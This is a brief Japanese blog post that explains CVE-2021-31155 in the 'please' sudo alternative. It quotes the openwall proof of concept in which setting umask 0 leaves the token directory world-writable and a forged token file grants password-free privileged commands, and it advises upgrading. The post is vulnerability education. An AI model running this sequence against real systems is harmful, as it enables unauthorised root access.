1
0

More than 3 years have passed since last update.

3分で読める脆弱性~Please~

Posted at

はじめに

pleaseコマンドの脆弱性について解説する記事です。
詳細は記事内のリンクをご参照ください。

目次

1.概要
2.原理
3.攻撃例
4.対策

概要

pleaseの3.0以前のversionにおける脆弱性です。
pleaseコマンドを用いてumaskを実行すると、ローカルの攻撃者がroot権限を取得できます。

pleaseとは

pleaseはSUDOコマンドの代替として開発されたコマンドです。
SUDOと同様に実行コマンドに特権アクセスを与える一方、不必要な特権アクセスを与えないことでセキュリティの強化を狙っています。

----------------------------

公開日:2021/5/28
影響範囲:please 3.0以前
リスク指標(VULDB)(2021/6/3現在)
  CVSS:8.4
脆弱性情報
  CVE:CVE-2021-31155
  VULDB:VDB-176007
  アドバイザリ:openwall.com

原理

tokenディレクトリ"/var/run/pleaser/token"が存在しない場合、Rustの"create_dir_all"関数で作成されます。
この時、umaskはサニタイズされず、これによって権限のないユーザーが先ほどのtokenディレクトリに書き込みが可能になっています。

例)openwall.comより

#ディレクトリがない状態でスタート
 user$ umask 0
#任意のコマンドを実行
#この時パスワードの入力を求められるが無視
 user$ please cat /etc/fstab
 [please] password for user: ^C
#ディレクトリの権限の確認
  user$ ls -lhd /var/run/please /var/run/please/token
  drwxrwxrwx 3 root root 60 31. Mär 13:48 /var/run/please/
  drwxrwxrwx 2 root root 40 31. Mär 13:48 /var/run/please/token
#ユーザーパスワードなしで任意のコマンドへのアクセスを許可する(?)
 user$ touch /var/run/please/token/$USER:`tty | tr '/' '_'`:$$
#パスワードなしで動作することの確認
  user$ please cat /etc/fstab
  [<fstab content>]

攻撃例

不明

対策

解決策
  please 4.0へのupgrade

あとがき

間違い・情報のupdateがあれば、コメントしてくれるとありがたいですm(_ _)m



実行してみないとあんまわからないかも…
openwall.comのリンクの内容やってみてください

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0